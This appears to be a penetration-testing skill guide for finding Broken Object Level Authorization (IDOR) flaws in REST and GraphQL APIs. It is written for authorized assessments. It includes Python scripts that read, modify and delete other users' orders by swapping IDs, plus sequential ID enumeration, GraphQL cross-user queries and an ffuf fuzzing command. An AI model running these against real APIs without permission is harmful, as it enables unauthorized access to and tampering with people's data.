- name
- testing-api-for-broken-object-level-authorization
- description
- Tests REST and GraphQL APIs for Broken Object Level Authorization (BOLA/IDOR, OWASP API1:2023) by intercepting API calls, identifying object ID parameters (numeric IDs, UUIDs, slugs), and systematically substituting IDs belonging to other users to check whether the server enforces per-object authorization. Use when asked to test BOLA or IDOR in an API, verify object-level authorization, or assess an API for access control bypass.
- domain
- cybersecurity
- subdomain
- api-security
- tags
- ["api-security","owasp","bola","idor","authorization","rest-security"]
- version
- 1.0.0
- author
- mahipal
- license
- Apache-2.0
- nist_csf
- ["PR.PS-01","ID.RA-01","PR.DS-10","DE.CM-01"]
- mitre_attack
- ["T1190","T1059.007","T1552.001","T1027","T1070"]
# Testing API for Broken Object Level Authorization
## When to Use
- Assessing REST or GraphQL APIs that use object identifiers in URL paths, query parameters, or request bodies
- Performing OWASP API Security Top 10 assessments where API1:2023 (BOLA) must be tested
- Testing multi-tenant SaaS applications where users from different tenants should not access each other's data
- Validating that API endpoints enforce per-object authorization checks beyond just authentication
- Evaluating APIs after new endpoints are added to ensure authorization middleware is applied consistently
**Do not use** without written authorization from the API owner. BOLA testing involves accessing or attempting to access other users' data, which requires explicit permission.
## Prerequisites
- Written authorization specifying the target API endpoints and scope of testing
- At least two test accounts with different privilege levels and distinct data sets
- Burp Suite Professional or OWASP ZAP configured as an intercepting proxy
- Authentication tokens (JWT, session cookies, API keys) for each test account
- API documentation (OpenAPI/Swagger spec) or access to enumerate endpoints
- Python 3.10+ with `requests` library for scripted testing
- Autorize Burp extension installed for automated BOLA detection
## Workflow
### Step 1: API Endpoint Discovery and Object ID Mapping
Enumerate all API endpoints and identify parameters that reference objects:
**From OpenAPI/Swagger Specification:**
```bash
# Download and parse the OpenAPI spec
curl -s https://target-api.example.com/api/docs/swagger.json | python3 -m json.tool
# Extract all endpoints with path parameters
curl -s https://target-api.example.com/api/docs/swagger.json | \
python3 -c "
import json, sys
spec = json.load(sys.stdin)
for path, methods in spec.get('paths', {}).items():
for method, details in methods.items():
if method in ('get','post','put','patch','delete'):
params = [p['name'] for p in details.get('parameters',[]) if p.get('in') in ('path','query')]
if params:
print(f'{method.upper()} {path} -> params: {params}')
"
```
**From Burp Suite Traffic:**
1. Browse the application as User A, exercising all features that involve data creation and retrieval
2. In Burp, go to Target > Site Map and filter for API paths (e.g., `/api/v1/`, `/graphql`)
3. Look for patterns: `/api/v1/users/{id}`, `/api/v1/orders/{order_id}`, `/api/v1/documents/{doc_uuid}`
4. Note the object ID format: sequential integers (predictable), UUIDs (less predictable), or encoded values
**Classify Object ID Types:**
| ID Type | Example | Predictability | BOLA Risk |
|---------|---------|---------------|-----------|
| Sequential Integer | `/orders/1042` | High - increment/decrement | Critical |
| UUID v4 | `/orders/550e8400-e29b-41d4-a716-446655440000` | Low - random | Medium (if leaked) |
| Encoded/Hashed | `/orders/base64encodedvalue` | Medium - decode and predict | High |
| Composite | `/users/42/orders/1042` | High - multiple IDs to swap | Critical |
| Slug | `/profiles/john-doe` | Medium - guess usernames | High |
### Step 2: Baseline Request Capture with Authenticated User
Capture legitimate requests for User A and User B:
```python
import requests
BASE_URL = "https://target-api.example.com/api/v1"
# User A credentials
user_a_token = "Bearer eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9..."
user_a_headers = {"Authorization": user_a_token, "Content-Type": "application/json"}
# User B credentials
user_b_token = "Bearer eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9..."
user_b_headers = {"Authorization": user_b_token, "Content-Type": "application/json"}
# Step 1: Identify User A's objects
user_a_profile = requests.get(f"{BASE_URL}/users/me", headers=user_a_headers)
user_a_id = user_a_profile.json()["id"] # e.g., 1001
user_a_orders = requests.get(f"{BASE_URL}/users/{user_a_id}/orders", headers=user_a_headers)
user_a_order_ids = [o["id"] for o in user_a_orders.json()["orders"]] # e.g., [5001, 5002]
# Step 2: Identify User B's objects
user_b_profile = requests.get(f"{BASE_URL}/users/me", headers=user_b_headers)
user_b_id = user_b_profile.json()["id"] # e.g., 1002
user_b_orders = requests.get(f"{BASE_URL}/users/{user_b_id}/orders", headers=user_b_headers)
user_b_order_ids = [o["id"] for o in user_b_orders.json()["orders"]] # e.g., [5003, 5004]
print(f"User A (ID: {user_a_id}): Orders {user_a_order_ids}")
print(f"User B (ID: {user_b_id}): Orders {user_b_order_ids}")
```
### Step 3: BOLA Testing - Horizontal Privilege Escalation
Attempt to access User B's objects using User A's authentication:
```python
import json
results = []
# Test 1: Access User B's profile with User A's token
resp = requests.get(f"{BASE_URL}/users/{user_b_id}", headers=user_a_headers)
results.append({
"test": "Access other user profile",
"endpoint": f"GET /users/{user_b_id}",
"auth": "User A",
"status": resp.status_code,
"vulnerable": resp.status_code == 200,
"data_leaked": list(resp.json().keys()) if resp.status_code == 200 else None
})
# Test 2: Access User B's orders with User A's token
for order_id in user_b_order_ids:
resp = requests.get(f"{BASE_URL}/orders/{order_id}", headers=user_a_headers)
results.append({
"test": f"Access other user order {order_id}",
"endpoint": f"GET /orders/{order_id}",
"auth": "User A",
"status": resp.status_code,
"vulnerable": resp.status_code == 200
})
# Test 3: Modify User B's order with User A's token
resp = requests.patch(
f"{BASE_URL}/orders/{user_b_order_ids[0]}",
headers=user_a_headers,
json={"status": "cancelled"}
)
results.append({
"test": "Modify other user order",
"endpoint": f"PATCH /orders/{user_b_order_ids[0]}",
"auth": "User A",
"status": resp.status_code,
"vulnerable": resp.status_code in (200, 204)
})
# Test 4: Delete User B's resource with User A's token
resp = requests.delete(f"{BASE_URL}/orders/{user_b_order_ids[0]}", headers=user_a_headers)
results.append({
"test": "Delete other user order",
"endpoint": f"DELETE /orders/{user_b_order_ids[0]}",
"auth": "User A",
"status": resp.status_code,
"vulnerable": resp.status_code in (200, 204)
})
# Print results
for r in results:
status = "VULNERABLE" if r["vulnerable"] else "SECURE"
print(f"[{status}] {r['test']}: {r['endpoint']} -> HTTP {r['status']}")
```
### Step 4: Advanced BOLA Techniques
Test for less obvious BOLA patterns:
```python
# Technique 1: Parameter pollution - send both IDs
resp = requests.get(
f"{BASE_URL}/orders/{user_a_order_ids[0]}?order_id={user_b_order_ids[0]}",
headers=user_a_headers
)
print(f"Parameter pollution: {resp.status_code}")
# Technique 2: JSON body object ID override
resp = requests.post(
f"{BASE_URL}/orders/details",
headers=user_a_headers,
json={"order_id": user_b_order_ids[0]}
)
print(f"Body ID override: {resp.status_code}")
# Technique 3: Array of IDs - include other user's IDs in batch request
resp = requests.post(
f"{BASE_URL}/orders/batch",
headers=user_a_headers,
json={"order_ids": user_a_order_ids + user_b_order_ids}
)
print(f"Batch ID inclusion: {resp.status_code}, returned {len(resp.json().get('orders',[]))} orders")
# Technique 4: Numeric ID manipulation for sequential IDs
for offset in range(-5, 6):
test_id = user_a_order_ids[0] + offset
if test_id not in user_a_order_ids:
resp = requests.get(f"{BASE_URL}/orders/{test_id}", headers=user_a_headers)
if resp.status_code == 200:
owner = resp.json().get("user_id", "unknown")
if str(owner) != str(user_a_id):
print(f"BOLA: Order {test_id} belongs to user {owner}, accessible by User A")
# Technique 5: Swap object ID in nested resource paths
resp = requests.get(
f"{BASE_URL}/users/{user_b_id}/orders/{user_b_order_ids[0]}/invoice",
headers=user_a_headers
)
print(f"Nested resource BOLA: {resp.status_code}")
# Technique 6: Method switching - GET may be blocked but PUT allowed
for method in ['GET', 'PUT', 'PATCH', 'DELETE', 'HEAD', 'OPTIONS']:
resp = requests.request(
method,
f"{BASE_URL}/users/{user_b_id}/settings",
headers=user_a_headers,
json={"notifications": False} if method in ('PUT', 'PATCH') else None
)
if resp.status_code not in (401, 403, 405):
print(f"Method {method} on other user settings: {resp.status_code}")
```
### Step 5: Automated BOLA Detection with Autorize (Burp Suite)
Configure Autorize for automated detection:
1. Install Autorize from the BApp Store in Burp Suite Professional
2. In the Autorize tab, paste User B's authentication cookie or header
3. Configure the interception filters:
- Include: `.*\/api\/.*` (only API paths)
- Exclude: `.*\.(js|css|png|jpg)$` (skip static assets)
4. Set the enforcement detector:
- Add conditions where response length or status code differs between User A and User B
- Mark as "enforced" if User A gets 403/401 for User B's resources
- Mark as "bypassed" if User A gets 200 with User B's data
5. Browse the application as User A; Autorize automatically replays each request with User B's token
6. Review the Autorize results table:
- Green = Authorization enforced (secure)
- Red = Authorization bypassed (BOLA vulnerability)
- Orange = Needs manual review (ambiguous response)
### Step 6: GraphQL BOLA Testing
```graphql
# Test BOLA in GraphQL queries using node/ID relay pattern
# User A queries User B's order by global relay ID
query {
node(id: "T3JkZXI6NTAwMw==") { # Base64 of "Order:5003" (User B's)
... on Order {
id
totalAmount
shippingAddress {
street
city
}
items {
productName
quantity
}
}
}
}
# Test nested object access through relationships
query {
user(id: "1002") { # User B's ID
email
phoneNumber
orders {
edges {
node {
id
totalAmount
paymentMethod {
lastFourDigits
}
}
}
}
}
}
```
## Key Concepts
| Term | Definition |
|------|------------|
| **BOLA** | Broken Object Level Authorization (OWASP API1:2023) - the API does not verify that the authenticated user has permission to access the specific object referenced by the request |
| **IDOR** | Insecure Direct Object Reference - a closely related term where the application uses user-controllable input to directly access objects without authorization checks |
| **Horizontal Privilege Escalation** | Accessing resources belonging to another user at the same privilege level by manipulating object identifiers |
| **Vertical Privilege Escalation** | Accessing resources or functions restricted to a higher privilege level (e.g., regular user accessing admin endpoints) |
| **Object ID Enumeration** | Predicting valid object identifiers by analyzing their format (sequential integers, UUID patterns, encoded values) |
| **Autorize** | A Burp Suite extension that automates authorization testing by replaying requests with different user tokens |
## Tools & Systems
- **Burp Suite Professional**: Intercepting proxy for capturing and manipulating API requests with Autorize extension for automated BOLA testing
- **OWASP ZAP**: Open-source alternative with Access Control Testing add-on for authorization boundary testing
- **Autorize**: Burp extension that automatically detects authorization enforcement by replaying requests with different user contexts
- **Postman**: API testing platform for crafting and replaying requests with different authentication tokens across collections
- **ffuf**: Web fuzzer that can enumerate object IDs at scale: `ffuf -u https://api.example.com/orders/FUZZ -w ids.txt -H "Authorization: Bearer token"`
## Common Scenarios
### Scenario: E-Commerce API BOLA Assessment
**Context**: An e-commerce platform exposes a REST API for its mobile app. The API uses sequential integer IDs for orders, users, and addresses. Two test accounts are provided: a regular customer (User A, ID 1001) and another customer (User B, ID 1002).
**Approach**:
1. Map all endpoints from the Swagger spec at `/api/docs`: identify 47 endpoints, 23 of which take object IDs
2. Capture User A's requests for their own resources: profile, orders, addresses, payment methods, wishlist
3. Replace User A's object IDs with User B's IDs systematically across all 23 endpoints
4. Find that `GET /api/v1/orders/{id}` returns any order regardless of ownership (BOLA on read)
5. Find that `PATCH /api/v1/addresses/{id}` allows modifying any user's address (BOLA on write)
View on GitHub